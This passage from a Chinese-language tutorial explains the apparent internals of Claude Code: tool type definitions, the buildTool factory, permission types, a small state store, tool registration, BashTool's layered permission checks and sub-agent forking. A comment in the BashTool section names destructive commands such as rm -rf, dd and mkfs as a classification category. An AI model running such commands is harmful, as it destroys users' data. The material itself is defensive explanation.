  // ========== 序列化 ==========

  // mapToolResultToToolResultBlockParam = 把工具结果转成 API 需要的格式
  // 模型需要工具结果才能继续思考，这个方法做格式转换
  mapToolResultToToolResultBlockParam(
    content: Output,             // 工具的输出
    toolUseID: string,           // 这次工具调用的唯一 ID（和请求对应）
  ): ToolResultBlockParam        // 返回 API 需要的格式

  // ========== 安全分类器 ==========

  // toAutoClassifierInput = 把工具输入转成安全分类器能分析的格式
  // 在 auto 权限模式下，系统用 AI 判断"这个操作安全吗"
  toAutoClassifierInput(input: z.infer<Input>): unknown
}
```

**逐字段解释关键设计决策：**

- **`Input extends AnyObject`**：用 Zod schema 而不是 interface，这样可以从 schema 生成 JSON Schema 给 API，同时在运行时做验证
- **`call()` 接收 `context` 和 `canUseTool`**：不是通过全局状态访问，而是显式注入。这让工具可以被独立测试
- **`isConcurrencySafe()`**：query.ts 用这个决定能否并行执行多个工具调用
- **`description()` 是异步的**：因为有些工具描述需要读取文件系统（如 BashTool 需要知道沙箱配置）
- **全套渲染方法**：工具不仅执行逻辑，还负责自己的 UI 表现。这让每个工具可以完全控制自己的显示效果

### buildTool：工具工厂

Claude Code 提供了 `buildTool()` 函数来简化工具创建。你不需要手写 Tool 类型的每一个字段，只需要提供你关心的，剩下的用默认值填充：

```typescript
// TOOL_DEFAULTS = 所有工具的"默认值"
// 如果你创建一个工具时没有指定某个字段，就用这里的默认值
const TOOL_DEFAULTS = {
  isEnabled: () => true,                      // 默认启用（除非你显式关闭）
  // _input = 参数（下划线前缀表示"我知道有这个参数但我不用它"）
  isConcurrencySafe: (_input?: unknown) => false,   // 默认不并发安全（保守策略：宁可慢一点，不能出错）
  isReadOnly: (_input?: unknown) => false,          // 默认可写（保守策略：宁可要权限，不能无权限操作）
  isDestructive: (_input?: unknown) => false,       // 默认非破坏性
  // 默认权限检查：直接允许（大多数工具不需要复杂的权限逻辑）
  checkPermissions: (input, _ctx) =>
    Promise.resolve({ behavior: 'allow', updatedInput: input }),
  // 默认分类器输入：空字符串（大多数工具不需要 AI 安全分类）
  toAutoClassifierInput: (_input?: unknown) => '',
  // 默认用户可见名称：空字符串（会 fallback 到工具的 name 字段）
  userFacingName: (_input?: unknown) => '',
}

// buildTool() = 工具工厂函数
// 泛型 <D extends AnyToolDef> = D 是一个"工具定义"对象
// 返回类型 BuiltTool<D> = 根据 D 自动推导出完整的 Tool 类型
export function buildTool<D extends AnyToolDef>(def: D): BuiltTool<D> {
  return {
    ...TOOL_DEFAULTS,          // 1. 先铺上所有默认值
    userFacingName: () => def.name,  // 2. 如果没提供 userFacingName，默认用工具名
    ...def,                    // 3. 用你传入的定义覆盖默认值
    // 后写的覆盖先写的：如果你传了 isReadOnly: () => true，就会覆盖默认的 false
  } as BuiltTool<D>
}
```

**设计要点：**

- **fail-closed 默认值**：`isConcurrencySafe` 默认 `false`，`isReadOnly` 默认 `false`。工具必须显式声明"我是安全的"，而不是默认安全
- **类型推导**：`BuiltTool<D>` 类型根据传入的定义自动推导返回类型，确保类型安全
- **覆盖而不是继承**：用展开运算符覆盖默认值，而不是用类继承

### ToolUseContext：工具执行上下文

```typescript
export type ToolUseContext = {
  options: {
    commands: Command[]
    debug: boolean
    mainLoopModel: string
    tools: Tools
    verbose: boolean
    thinkingConfig: ThinkingConfig
    mcpClients: MCPServerConnection[]
    isNonInteractiveSession: boolean
    agentDefinitions: AgentDefinitionsResult
    maxBudgetUsd?: number
    customSystemPrompt?: string
    appendSystemPrompt?: string
    refreshTools?: () => Tools    // 运行时刷新工具列表
  }
  abortController: AbortController
  readFileState: FileStateCache
  getAppState(): AppState
  setAppState(f: (prev: AppState) => AppState): void
  setToolJSX?: SetToolJSXFn
  messages: Message[]
  agentId?: AgentId               // 子 Agent 的 ID
  agentType?: string              // 子 Agent 的类型
  contentReplacementState?: ContentReplacementState
  renderedSystemPrompt?: SystemPrompt  // 用于 prompt cache 复用
  // ... 更多字段
}
```

**这个类型的三个核心职责：**

1. **传递配置**：`options` 包含所有会话级配置（模型、工具、调试开关等）
2. **提供状态访问**：`getAppState()` / `setAppState()` 让工具能读写全局状态
3. **支持子 Agent**：`agentId`、`messages`、`renderedSystemPrompt` 支持子 Agent 执行

### 消息类型

```typescript
// types/message.ts 中的核心消息类型（简化版）
type Message =
  | UserMessage
  | AssistantMessage
  | SystemMessage
  | AttachmentMessage
  | ProgressMessage
  | ToolUseSummaryMessage
  | TombstoneMessage

type UserMessage = {
  type: 'user'
  uuid: string
  message: { role: 'user'; content: string | Array<ToolResultParam> }
  toolUseResult?: unknown
  isMeta?: boolean
}

type AssistantMessage = {
  type: 'assistant'
  uuid: string
  message: { role: 'assistant'; content: Array<ContentBlock> }
  thinkingEnabled?: boolean
  apiError?: string
}
```

### 权限类型

```typescript
// types/permissions.ts

// 权限模式
export type PermissionMode =
  | 'default'
  | 'acceptEdits'
  | 'bypassPermissions'
  | 'plan'
  | 'dontAsk'
  | 'auto'           // AI 分类器自动判断
  | 'bubble'

// 权限行为
export type PermissionBehavior = 'allow' | 'deny' | 'ask'

// 权限结果
export type PermissionResult<Input> =
  | PermissionAllowDecision<Input>   // 允许
  | PermissionAskDecision<Input>     // 询问用户
  | PermissionDenyDecision           // 拒绝
  | { behavior: 'passthrough'; ... } // 透传（交给其他检查）

// 权限决策原因
export type PermissionDecisionReason =
  | { type: 'rule'; rule: PermissionRule }
  | { type: 'mode'; mode: PermissionMode }
  | { type: 'classifier'; classifier: string; reason: string }
  | { type: 'hook'; hookName: string; ... }
  | { type: 'safetyCheck'; reason: string; classifierApprovable: boolean }
  // ...
```

**设计亮点：** `PermissionResult` 用 discriminated union（`behavior` 字段）来区分三种结果，让调用方必须处理所有情况（编译器会检查）。`PermissionDecisionReason` 记录了决策原因，方便调试和审计。

## 2.2 TypeScript 高级用法

### 泛型 + 条件类型：BuiltTool

```typescript
type BuiltTool<D> = Omit<D, DefaultableToolKeys> & {
  [K in DefaultableToolKeys]-?: K extends keyof D
    ? undefined extends D[K]
      ? ToolDefaults[K]
      : D[K]
    : ToolDefaults[K]
}
```

这段类型的意思是：对于每个"可默认"的字段，如果 `D` 提供了就用 `D` 的类型，否则用默认类型。`-?` 确保这些字段在返回类型中一定是 required 的。

### Discriminated Union：PermissionResult

```typescript
type PermissionResult = 
  | { behavior: 'allow'; updatedInput?: Input; ... }
  | { behavior: 'ask'; message: string; ... }
  | { behavior: 'deny'; message: string; ... }
  | { behavior: 'passthrough'; message: string; ... }
```

调用方必须 `switch (result.behavior)` 处理所有情况，编译器强制完整性检查。

### 模板字面量类型：Feature Flags

```typescript
// feature() 函数使用模板字面量类型来约束 feature flag 名称
if (feature('COORDINATOR_MODE')) { ... }
if (feature('TRANSCRIPT_CLASSIFIER')) { ... }
if (feature('KAIROS')) { ... }
```

`feature()` 是 `bun:bundle` 提供的构建时 dead code elimination 函数。返回值在构建时确定，未命中的分支会被 DCE 移除。

### DeepImmutable

```typescript
export type DeepImmutable<T> = {
  readonly [K in keyof T]: T[K] extends object
    ? T[K] extends Map<infer K2, infer V>
      ? ReadonlyMap<K2, V>
      : DeepImmutable<T[K]>
    : T[K]
}
```

`AppState` 使用 `DeepImmutable` 包裹，确保从 `getAppState()` 读取的状态不能被意外修改。修改状态必须通过 `setAppState()`。

## 2.3 类型设计范式

从 Claude Code 的类型设计中提炼出的规范：

### 范式 1：用 Zod Schema 定义输入

```typescript
// 不要用 interface 定义工具输入
interface BadInput { file_path: string }

// 要用 Zod schema
const schema = z.object({
  file_path: z.string().describe('Absolute path to the file'),
})
```

好处：同一份 schema 既能做运行时验证，又能生成 JSON Schema 给 API。

### 范式 2：Discriminated Union 而不是可选字段

```typescript
// 不好：用可选字段区分情况
type Bad = { allow?: boolean; deny?: boolean; message?: string }

// 好：用 discriminated union
type Good = 
  | { behavior: 'allow' }
  | { behavior: 'deny'; message: string }
```

### 范式 3：常量文件避免循环依赖

```typescript
// tools/BashTool/toolName.ts
export const BASH_TOOL_NAME = 'Bash'

// 其他文件引用常量而不是直接 import BashTool
import { BASH_TOOL_NAME } from '../BashTool/toolName.js'
```

### 范式 4：DeepImmutable 保护状态

```typescript
// AppState 用 DeepImmutable 包裹
export type AppState = DeepImmutable<{ ... }>

// 只有 setAppState 可以修改
const state = getAppState()  // 只读
setAppState(prev => ({ ...prev, verbose: !prev.verbose }))  // 可写
```

### Checklist

- [ ] 工具输入用 Zod schema 定义
- [ ] 多种情况用 discriminated union
- [ ] 常量单独成文件避免循环依赖
- [ ] 只读数据用 `readonly` 或 `DeepImmutable`
- [ ] 工具名用 `toolName.ts` 导出常量

**学习路径：如果你想掌握 TypeScript 类型系统**

1. **TypeScript Handbook - Everyday Types**：[官方手册](https://www.typescriptlang.org/docs/handbook/2/types-from-types.html)，重点看 "Type Narrowing" 和 "Discriminated Unions" 两节——这两项是 Claude Code 类型设计的核心
2. **Zod 入门**：[Zod 官方文档](https://zod.dev/)，Zod 的 API 很少，花 2 小时就能看完。重点理解 `z.object()`、`z.infer<>` 和 `.describe()` 这三个概念
3. **深入理解泛型**：推荐 Matt Pocock 的 [Total TypeScript](https://www.totaltypescript.com/)（有免费内容），特别是 "TypeScript Generics" 系列
4. **练习建议**：用 Claude Code 让它帮你定义一个"天气查询工具"的类型——包括输入 schema（城市名、日期）、输出类型（温度、湿度）、权限类型（允许/拒绝/询问）。这就是把这一章的内容变成你自己的能力。重点练习 discriminated union——给天气 API 的错误定义三种情况（城市不存在、API 限额、网络错误），每种情况附带不同的错误信息

---

# 第三章：状态管理

## 3.1 这解决什么问题

Agent 产品需要管理大量运行时状态：当前消息列表、工具列表、MCP 连接、权限上下文、UI 状态等。Claude Code 没有使用 Redux 或 Zustand，而是自研了一个极简的 Store。

## 3.2 Store 实现

### createStore：40 行搞定

```typescript
type Listener = () => void
type OnChange<T> = (args: { newState: T; oldState: T }) => void

export type Store<T> = {
  getState: () => T
  setState: (updater: (prev: T) => T) => void
  subscribe: (listener: Listener) => () => void
}

export function createStore<T>(
  initialState: T,
  onChange?: OnChange<T>,
): Store<T> {
  let state = initialState
  const listeners = new Set<Listener>()

  return {
    getState: () => state,

    setState: (updater: (prev: T) => T) => {
      const prev = state
      const next = updater(prev)
      if (Object.is(next, prev)) return  // 浅比较，不变则跳过
      state = next
      onChange?.({ newState: next, oldState: prev })
      for (const listener of listeners) listener()
    },

    subscribe: (listener: Listener) => {
      listeners.add(listener)
      return () => listeners.delete(listener)
    },
  }
}
```

**关键设计决策：**

1. **函数式更新**：`setState` 接收 `(prev: T) => T` 而不是直接传新值。这样避免闭包过期问题
2. **浅比较跳过**：`Object.is(next, prev)` 如果返回同一个对象引用，不触发通知
3. **onChange 回调**：可选的 `onChange` 在状态变更时被调用，用于副作用（如持久化）
4. **subscribe 返回取消函数**：标准的发布-订阅模式

### AppState：全局状态类型

```typescript
export type AppState = DeepImmutable<{
  settings: SettingsJson
  verbose: boolean
  mainLoopModel: ModelSetting
  toolPermissionContext: ToolPermissionContext
  mcp: {
    clients: MCPServerConnection[]
    tools: Tool[]
    commands: Command[]
    resources: Record<string, ServerResource[]>
  }
  plugins: { enabled: LoadedPlugin[]; disabled: LoadedPlugin[]; ... }
  tasks: { [taskId: string]: TaskState }
  todos: { ... }
  // ... 几十个字段
}> & {
  // 非不可变字段
  tasks: { [taskId: string]: TaskState }
  agentNameRegistry: Map<string, AgentId>
}
```

**AppState 是一个巨型对象**，包含了会话的所有状态。这和 Redux 的单一 Store 思路类似，但没有 reducer 的概念。

### onChangeAppState：副作用监听

```typescript
// state/onChangeAppState.ts
export function onChangeAppState({ newState, oldState }: { ... }) {
  // MCP 状态变更 → 更新工具列表
  // verbose 变更 → 切换日志级别
  // model 变更 → 更新 token 计算参数
  // ...
}
```

## 3.3 和 Redux / Zustand 的对比

| 特性 | Claude Code Store | Redux | Zustand |
|------|------------------|-------|---------|
| 代码量 | ~40 行 | 几千行 | ~200 行 |
| 概念 | getState / setState / subscribe | Action / Reducer / Middleware | getState / setState |
| 不可变性 | 手动（DeepImmutable 类型） | 强制（reducer 返回新对象） | 手动 |
| 中间件 | 无（onChange 回调） | 完整中间件链 | 无 |
| 选择器 | 手动（selectors.ts） | createSelector | 手动 |
| DevTools | 无 | 完整支持 | 基础支持 |

**为什么选择自研？**

1. **够用就好**：Agent 产品不需要 Redux 那样的 action/reducer/middleware 体系。状态变更直接 `setState` 就行
2. **减少依赖**：40 行代码比引入一个库更可控
3. **类型安全**：DeepImmutable 比 Redux 的 immer 更轻量

## 3.4 状态管理范式

### 范式 1：函数式更新

```typescript
// 不好：直接读-改-写（闭包过期风险）
const state = store.getState()
state.verbose = true
store.setState(() => state)

// 好：函数式更新
store.setState(prev => ({ ...prev, verbose: true }))
```

### 范式 2：子状态更新

```typescript
// 更新 MCP 子状态
store.setState(prev => ({
  ...prev,
  mcp: {
    ...prev.mcp,
    tools: [...prev.mcp.tools, newTool],
  },
}))
```

### 范式 3：不变性保证

```typescript
// AppState 用 DeepImmutable 包裹
// 读取状态时 TypeScript 会阻止直接修改
const state = getAppState()
state.verbose = true  // 编译错误！
```

### Checklist

- [ ] 状态更新用函数式 `setState(prev => ...)`
- [ ] 全局状态类型用 `DeepImmutable` 包裹
- [ ] 副作用放在 onChange 回调里
- [ ] 子状态更新保持不可变性（展开运算符）

---

# 第四章：工具系统实现

> 详见产品分析篇第 3 章关于工具提示词的分析

## 4.1 这解决什么问题

Agent 的核心能力来自工具。没有工具，模型只能聊天；有了工具，模型能读文件、执行命令、搜索网页。工具系统需要解决：

1. **定义统一接口**：所有工具遵循同一套 API
2. **安全执行**：每个工具调用都要经过权限检查
3. **UI 一致**：每个工具在终端中的显示风格统一
4. **动态注册**：MCP 工具可以在运行时加入

## 4.2 工具注册机制

### getTools：工具汇集中心

```typescript
// tools.ts
export const getTools = (permissionContext: ToolPermissionContext): Tools => {
  // 简单模式：只有 Bash、Read、Edit
  if (isEnvTruthy(process.env.CLAUDE_CODE_SIMPLE)) {
    const simpleTools: Tool[] = [BashTool, FileReadTool, FileEditTool]
    return filterToolsByDenyRules(simpleTools, permissionContext)
  }

  // 获取所有基础工具
  const tools = getAllBaseTools().filter(tool => !specialTools.has(tool.name))
  
  // 过滤被拒绝的工具
  let allowedTools = filterToolsByDenyRules(tools, permissionContext)
  
  // REPL 模式：隐藏原始工具（它们在 REPL 内部可用）
  if (isReplModeEnabled()) {
    allowedTools = allowedTools.filter(tool => !REPL_ONLY_TOOLS.has(tool.name))
  }

  // 过滤 disabled 工具
  const isEnabled = allowedTools.map(_ => _.isEnabled())
  return allowedTools.filter((_, i) => isEnabled[i])
}
```

### getAllBaseTools：工具清单

```typescript
export function getAllBaseTools(): Tools {
  return [
    AgentTool,
    TaskOutputTool,
    BashTool,
    ...(hasEmbeddedSearchTools() ? [] : [GlobTool, GrepTool]),
    ExitPlanModeV2Tool,
    FileReadTool,
    FileEditTool,
    FileWriteTool,
    NotebookEditTool,
    WebFetchTool,
    TodoWriteTool,
    WebSearchTool,
    TaskStopTool,
    AskUserQuestionTool,
    SkillTool,
    EnterPlanModeTool,
    ...(process.env.USER_TYPE === 'ant' ? [ConfigTool] : []),
    ...(SuggestBackgroundPRTool ? [SuggestBackgroundPRTool] : []),
    ...(SleepTool ? [SleepTool] : []),
    BriefTool,
    ListMcpResourcesTool,
    ReadMcpResourceTool,
    ...(isToolSearchEnabledOptimistic() ? [ToolSearchTool] : []),
    // ... 更多工具
  ]
}
```

**设计要点：**

1. **条件注册**：用展开运算符（`...condition ? [Tool] : []`）动态决定哪些工具可用
2. **Feature Flag**：`feature('PROACTIVE')` 在构建时决定 SleepTool 是否存在
3. **懒加载**：用 `require()` 而不是 `import()`，避免循环依赖和不必要的模块加载
4. **deny 规则过滤**：`filterToolsByDenyRules` 在注册阶段就移除被禁止的工具

### assembleToolPool：合并内置工具和 MCP 工具

```typescript
export function assembleToolPool(
  permissionContext: ToolPermissionContext,
  mcpTools: Tools,
): Tools {
  const builtInTools = getTools(permissionContext)
  const allowedMcpTools = filterToolsByDenyRules(mcpTools, permissionContext)

  // 排序保证 prompt cache 稳定性
  const byName = (a: Tool, b: Tool) => a.name.localeCompare(b.name)
  return uniqBy(
    [...builtInTools].sort(byName).concat(allowedMcpTools.sort(byName)),
    'name',
  )
}
```

**为什么要排序？** 因为工具列表会被拼入系统提示词，排序后相同的工具有相同的顺序，可以利用 Anthropic 的 prompt caching。如果不排序，MCP 工具的连接顺序不确定，每次工具列表不同，cache miss。

## 4.3 完整工具走读：FileReadTool

### 目录结构

```
tools/FileReadTool/
├── FileReadTool.ts    # 主实现
├── prompt.ts          # 工具描述
├── UI.tsx             # 渲染
├── imageProcessor.ts  # 图片处理
└── limits.ts          # 读取限制
```

### prompt.ts：工具描述怎么写

```typescript
export const FILE_READ_TOOL_NAME = 'Read'
export const DESCRIPTION = 'Read a file from the local filesystem.'

export function renderPromptTemplate(
  lineFormat: string,
  maxSizeInstruction: string,
  offsetInstruction: string,
): string {
  return `Reads a file from the local filesystem. You can access any file directly by using this tool.
Assume this tool is able to read all files on the machine. If the User provides a path to a file assume that path is valid. It is okay to read a file that does not exist; an error will be returned.

Usage:
- The file_path parameter must be an absolute path, not a relative path
- By default, it reads up to 2000 lines starting from the beginning of the file${maxSizeInstruction}
${offsetInstruction}
${lineFormat}
- This tool allows Claude Code to read images (eg PNG, JPG, etc). When reading an image file the contents are presented visually as Claude Code is a multimodal LLM.
- This tool can read Jupyter notebooks (.ipynb files)...
- This tool can only read files, not directories. To read a directory, use an ls command via the Bash tool.`
}
```

**prompt.ts 的设计模式：**

1. **常量和模板分开**：`FILE_READ_TOOL_NAME`、`DESCRIPTION` 是常量，`renderPromptTemplate` 是模板函数
2. **模板参数化**：`maxSizeInstruction`、`offsetInstruction` 根据运行时条件变化
3. **清晰的边界**：告诉模型能做什么（读文件）、不能做什么（读目录）、遇到错误怎么办

### FileReadTool.ts：核心实现

```typescript
// 用 buildTool 创建工具
export const FileReadTool = buildTool({
  name: FILE_READ_TOOL_NAME,
  async description() {
    return DESCRIPTION
  },

  // Zod schema 定义输入参数
  inputSchema: z.object({
    file_path: z.string().describe('The absolute path to the file to read'),
    offset: z.number().optional().describe('The line number to start reading from'),
    limit: z.number().optional().describe('The number of lines to read'),
  }),

  // 只读操作
  isReadOnly: () => true,
  isConcurrencySafe: () => true,  // 并行读取安全

  async prompt({ getToolPermissionContext, tools }) {
    const permissionContext = await getToolPermissionContext()
    // 根据权限上下文生成不同的描述
    return renderPromptTemplate(...)
  },

  async call(args, context, canUseTool, parentMessage, onProgress) {
    const { file_path, offset, limit } = args

    // 1. 权限检查
    const permissionResult = await checkReadPermissionForTool(file_path, context)
    if (permissionResult.behavior !== 'allow') {
      return { data: { type: 'error', error: permissionResult.message } }
    }

    // 2. 读取文件
    const content = await readFileInRange(file_path, offset, limit)
    
    // 3. 返回结果
    return {
      data: {
        type: 'text',
        content: addLineNumbers(content, offset ?? 1),
      },
    }
  },

  // UI 渲染委托给 UI.tsx
  renderToolUseMessage: renderToolUseMessage,
  renderToolResultMessage: renderToolResultMessage,
  renderToolUseErrorMessage: renderToolUseErrorMessage,
})
```

**FileReadTool 的代码模式：**

1. **buildTool 包裹**：不用手写默认方法
2. **Zod schema**：定义输入参数，自动验证
3. **异步 prompt**：根据运行时环境生成描述
4. **call 方法**：权限检查 → 执行 → 返回结果
5. **渲染委托**：UI 逻辑在 UI.tsx 中

## 4.4 BashTool 安全系统深度走读

BashTool 是 Claude Code 中**最复杂**的工具。它需要执行 shell 命令，但 shell 命令的安全风险极高。BashTool 的目录里有 18 个文件，其中大部分是安全相关的。

### 目录结构

```
tools/BashTool/
├── BashTool.tsx             # 主实现
├── bashPermissions.ts       # 权限检查（允许/拒绝/询问）
├── bashSecurity.ts          # 安全分析（AST 解析）
├── commandSemantics.ts      # 命令语义分析
├── prompt.ts                # 工具描述
├── UI.tsx                   # 渲染
├── toolName.ts              # 名称常量
├── utils.ts                 # 工具函数
├── sedEditParser.ts         # sed 编辑解析
├── sedValidation.ts         # sed 验证
├── pathValidation.ts        # 路径验证
├── modeValidation.ts        # 模式验证
├── readOnlyValidation.ts    # 只读验证
├── destructiveCommandWarning.ts  # 破坏性命令警告
├── commentLabel.ts          # 注释标签
├── bashCommandHelpers.ts    # 命令辅助
└── shouldUseSandbox.ts      # 沙箱判断
```

### 权限检查流程

```
用户输入命令
    │
    ▼
BashTool.checkPermissions()
    │
    ├── 1. alwaysDenyRules 检查 → deny 则直接拒绝
    │
    ├── 2. alwaysAllowRules 检查 → allow 则直接放行
    │
    ├── 3. bashSecurity.ts 安全分析
    │     ├── AST 解析命令结构
    │     ├── 命令分类（只读/写入/破坏性）
    │     └── 路径检查（是否在允许目录内）
    │
    ├── 4. 模式匹配
    │     ├── 匹配用户设置的规则（如 "git *"）
    │     └── 匹配工具的 preparePermissionMatcher
    │
    └── 5. 默认行为
          ├── plan 模式 → ask
          ├── acceptEdits 模式 → ask（非写操作 allow）
          └── default 模式 → ask
```

### 命令语义分析

```typescript
// bashSecurity.ts 中的关键概念
// 命令被分类为：
// - 'read': cat, head, tail, grep, find, ls, wc, diff, etc.
// - 'write': cp, mv, rm, mkdir, touch, tee, etc.
// - 'destructive': rm -rf, dd, mkfs, etc.
```

**安全系统的核心思路是分层防御：**

1. **规则层**：用户/管理员设置的 alwaysDeny/alwaysAllow 规则
2. **AST 层**：解析命令的语法树，分析语义
3. **分类层**：把命令分类为只读/写入/破坏性
4. **路径层**：检查命令操作的文件路径是否在允许范围内
5. **沙箱层**：在沙箱中执行命令（可选）

## 4.5 工具设计范式

### 范式 1：buildTool 而不是手动实现

```typescript
// 不好：手动实现所有方法
export const MyTool: Tool = {
  name: 'MyTool',
  isEnabled: () => true,
  isConcurrencySafe: () => false,
  isReadOnly: () => false,
  // ... 必须写完所有字段
}

// 好：用 buildTool
export const MyTool = buildTool({
  name: 'MyTool',
  // 只写需要的字段，其他用默认值
})
```

### 范式 2：关注点分离

```
MyTool/
├── MyTool.ts        # 核心逻辑
├── prompt.ts        # 给模型看的描述
├── UI.tsx           # 给用户看的渲染
├── toolName.ts      # 名称常量（避免循环依赖）
└── utils.ts         # 辅助函数
```

### 范式 3：fail-closed 默认值

```typescript
const TOOL_DEFAULTS = {
  isConcurrencySafe: () => false,   // 默认不并发
  isReadOnly: () => false,          // 默认可写
  isDestructive: () => false,       // 默认非破坏性
}
```

工具必须显式声明自己是安全的，而不是默认安全。

### 范式 4：prompt 是异步的

```typescript
async prompt({ getToolPermissionContext, tools }) {
  const ctx = await getToolPermissionContext()
  // 根据运行时配置生成不同的描述
  return renderPromptTemplate(...)
}
```

prompt 不是静态字符串，而是根据运行时环境（权限模式、沙箱配置等）动态生成。

### Checklist

- [ ] 用 `buildTool()` 创建工具
- [ ] 每个工具独立目录，内部按职责分文件
- [ ] `toolName.ts` 导出名称常量
- [ ] `isReadOnly` / `isConcurrencySafe` 显式声明
- [ ] `prompt()` 是异步的，根据运行时条件生成
- [ ] 权限检查在 `checkPermissions()` 中，不在 `call()` 中

---

# 第五章：Agent 系统实现

> 详见设计范式篇第 4 章

## 5.1 这解决什么问题

单个 Agent 的能力有限。Claude Code 通过 AgentTool 实现了子 Agent 机制——一个 Agent 可以派生子 Agent 去执行子任务，子 Agent 完成后把结果返回给父 Agent。这就是多 Agent 协作的基础。

## 5.2 AgentTool 走读

AgentTool 是 Claude Code 中最大的工具（233K），它实现了子 Agent 的派生和管理。

### 工具定义

```typescript
// tools/AgentTool/AgentTool.tsx（简化）
export const AgentTool = buildTool({
  name: AGENT_TOOL_NAME,  // 'Agent'

  inputSchema: z.object({
    prompt: z.string().describe('The task for the agent to perform'),
    mode: z.enum(['run', 'resume']).describe('Whether to start a new agent or resume an existing one'),
    agent_type: z.string().optional().describe('The type of agent to use'),
    resume: z.string().optional().describe('Agent ID to resume'),
    description: z.string().optional().describe('A short (3-5 word) description'),
  }),

  isConcurrencySafe: () => false,   // 子 Agent 不并发安全
  isReadOnly: (input) => false,

  async call(args, context, canUseTool, parentMessage, onProgress) {
    if (args.mode === 'resume') {
      // 恢复已有的子 Agent
      return resumeAgent(args, context, canUseTool, parentMessage, onProgress)
    }
    // 创建新的子 Agent
    return runAgent(args, context, canUseTool, parentMessage, onProgress)
  },
})
```

### call 方法的执行流程

```
父 Agent 调用 AgentTool.call()
    │
    ├── 1. 创建子 Agent 上下文
    │     ├── 继承父 Agent 的 ToolUseContext
    │     ├── 创建新的 abortController
    │     ├── 克隆 messages（不共享引用）
    │     └── 设置 agentId（新 UUID）
    │
    ├── 2. 构建子 Agent 的系统提示词
    │     ├── 继承父 Agent 的系统提示词
    │     ├── 添加子 Agent 特定指令
    │     └── 处理 prompt cache 复用
    │
    ├── 3. 运行子 Agent 的 query 循环
    │     ├── 调用 query() 异步生成器
    │     ├── 收集子 Agent 的消息
    │     ├── 处理工具调用（子 Agent 可以用工具）
    │     └── 发送 ProgressMessage 给父 Agent
    │
    └── 4. 返回结果
          ├── 收集子 Agent 的最终消息
          ├── 构建 ToolResult
          └── 返回给父 Agent
```

## 5.3 子 Agent 执行：runAgent

```typescript
// tools/AgentTool/runAgent.ts（简化）
async function* runAgent(args, context, canUseTool, parentMessage, onProgress) {
  // 1. 创建子 Agent 上下文
  const subagentContext = createSubagentContext(context, args)

  // 2. 构建查询参数
  const queryParams: QueryParams = {
    messages: subagentContext.messages,
    systemPrompt: subagentContext.systemPrompt,
    userContext: {},
    systemContext: {},
    canUseTool: subagentContext.canUseTool,
    toolUseContext: subagentContext.toolUseContext,
    querySource: 'agent',
  }

  // 3. 运行查询循环
  const queryResult = query(queryParams)
  for await (const event of queryResult) {
    if (event.type === 'assistant') {
      // 转发父 Agent 的进度
      onProgress?.({
        toolUseID: parentMessage.toolUseID,
        data: { type: 'agent_progress', message: event },
      })
    }
  }

  // 4. 返回结果
  return {
    data: {
      result: 'Agent completed successfully',
      messages: subagentContext.messages,
    },
  }
}
```

## 5.4 Fork 机制：forkSubagent

Fork 机制允许子 Agent 继承父 Agent 的上下文（包括消息历史），用于需要"当前上下文"的子任务。

```typescript
// tools/AgentTool/forkSubagent.ts（简化）
export function forkSubagent(
  parentContext: ToolUseContext,
  parentMessages: Message[],
  options: ForkOptions,
): SubagentContext {
  // 1. 克隆消息（不共享引用）
  const clonedMessages = parentMessages.map(m => ({ ...m }))

  // 2. 继承 prompt cache
  // 子 Agent 的系统提示词前缀和父 Agent 一致
  // 这样可以复用 Anthropic 的 prompt cache
  const renderedSystemPrompt = parentContext.renderedSystemPrompt

  // 3. 创建子 Agent 的 ToolUseContext
  const subagentContext: ToolUseContext = {
    ...parentContext,
    agentId: generateAgentId(),
    messages: clonedMessages,
    abortController: new AbortController(),
    // 子 Agent 的 setAppState 是 no-op（不影响父 Agent 状态）
    setAppState: () => {},
    // 保留 contentReplacementState 以共享工具结果缓存
    contentReplacementState: parentContext.contentReplacementState,
    renderedSystemPrompt,
  }

  return { toolUseContext: subagentContext, messages: clonedMessages }
}
```

**Prompt Cache 复用的关键代码：**

```typescript
// 子 Agent 的系统提示词前缀和父 Agent 完全一致
// Anthropic 的 prompt caching 基于前缀匹配
// 前缀相同 = cache hit = 省 token + 快
const renderedSystemPrompt = parentContext.renderedSystemPrompt
```

## 5.5 Agent 定义加载

```typescript
// tools/AgentTool/loadAgentsDir.ts
export async function getAgentDefinitionsWithOverrides(cwd: string) {
  // 1. 扫描内置 Agent
  const builtInAgents = getBuiltInAgents()

  // 2. 扫描项目目录的 .claude/agents/
  const projectAgents = await loadAgentsDir(join(cwd, '.claude', 'agents'))

  // 3. 扫描用户目录的 ~/.claude/agents/
  const userAgents = await loadAgentsDir(join(getClaudeHomeDir(), 'agents'))

  // 4. 合并（优先级：项目 > 用户 > 内置）
  const allAgents = [...builtInAgents, ...userAgents, ...projectAgents]
  const activeAgents = getActiveAgentsFromList(allAgents)

  return { allAgents, activeAgents }
}
```

### AgentDefinition 类型

```typescript
export type AgentDefinition = {
  agentType: string                    // Agent 类型标识
  description: string                  // 描述
  getSystemPrompt: () => string       // 获取系统提示词
  model?: string                       // 使用的模型
  source: 'built-in' | 'user' | 'project' | 'flagSettings'
  memory?: string                      // 记忆文件路径
  tools?: string[]                     // 允许的工具
  initialPrompt?: string               // 初始提示词
}
```

## 5.6 Agent 系统范式

### 范式 1：上下文继承而非共享

```typescript
// 不好：直接共享父 Agent 的上下文
const childContext = parentContext  // 共享引用 → 状态污染

// 好：克隆上下文
const childContext = {
  ...parentContext,
  abortController: new AbortController(),  // 独立 abort
  setAppState: () => {},                     // no-op
  messages: parentMessages.map(m => ({ ...m })),  // 深拷贝消息
}
```

### 范式 2：ProgressMessage 通信

```typescript
// 子 Agent 通过 ProgressMessage 向父 Agent 报告进度
onProgress?.({
  toolUseID: parentMessage.toolUseID,
  data: { type: 'agent_progress', message: event },
})
```

### 范式 3：Prompt Cache 复用

```typescript
// 子 Agent 复用父 Agent 的渲染后系统提示词
// 这样 Anthropic 的 prompt caching 可以命中
const renderedSystemPrompt = parentContext.renderedSystemPrompt
```

### Checklist

- [ ] 子 Agent 有独立的 abortController
- [ ] 子 Agent 的 setAppState 是 no-op（不影响父 Agent）
- [ ] 消息历史用克隆而不是共享引用
- [ ] 通过 ProgressMessage 向父 Agent 报告进度
- [ ] 复用 renderedSystemPrompt 以利用 prompt caching

---

# 第六章：查询循环（Query Loop）

## 6.1 这解决什么问题

Query Loop 是整个 Claude Code 的心脏。它实现了 Agent 的核心循环：**用户输入 → API 调用 → 模型响应 → 工具执行 → 结果回填 → 继续**。这个循环持续到模型发出 Stop 指令。

## 6.2 query.ts 核心走读

